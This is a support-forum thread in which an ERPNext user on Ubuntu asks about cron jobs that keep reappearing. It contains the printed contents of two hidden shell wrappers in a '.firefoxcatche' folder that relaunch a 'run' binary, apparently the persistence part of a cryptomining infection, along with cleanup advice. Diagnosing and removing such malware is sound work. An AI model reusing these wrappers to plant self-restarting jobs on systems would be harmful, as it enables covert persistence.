Still struggling with a strange cronjobs

Hi,
I am struggling with strange crontab jobs, I have disabled many time but it comes again and again, any idea what is the root cause of such job and how I resolve it?

image

Environment:
VPS - ubuntu 16.04 - firewall enabled
Installed Apps
ERPNext: v11.1.35 (master)
Frappe Framework: v11.1.32 (master)

thx
Nofal

What is the content of the files?

cat /home/frappe/.firefoxcatche/a/upd /home/frappe/.firefoxcatche/b/sync

ubuntu@vps632278:~$ cat /home/frappe/.firefoxcatche/a/upd /home/frappe/.firefoxcatche/b/sync
#!/bin/sh
cd /home/frappe/.firefoxcatche/a
if test -r /home/frappe/.firefoxcatche/a/bash.pid; then
pid=$(cat /home/frappe/.firefoxcatche/a/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
exit 0
fi
fi
./run &>/dev/null
#!/bin/sh
cd /home/frappe/.firefoxcatche/b
./run

I think you should get rid of those files and the cron entries.

crontab -e #this will allow you to edit the cron file for your user
#remove all the lines that refer to .firefoxcatche
#if you are using nano to edit, Ctrl-k deletes the line you are on. If you are using vi, then press the "d" key twice to delete a line

#Remove the actual files - these start with a dot, so in normal display mode they are "hidden" - which is not a good indication since they don't look like they are config or useful files.
rm --recursive --force /home/frappe/.firefoxcatche

The @reboot forces the scripts to reload even after you have rebooted - also doesn’t seem like a good thing to me, but maybe I am just biased :smile:

Done, how I can test that issue resolved, thx a lot

its a crypto mining attack also ???

same issue faced !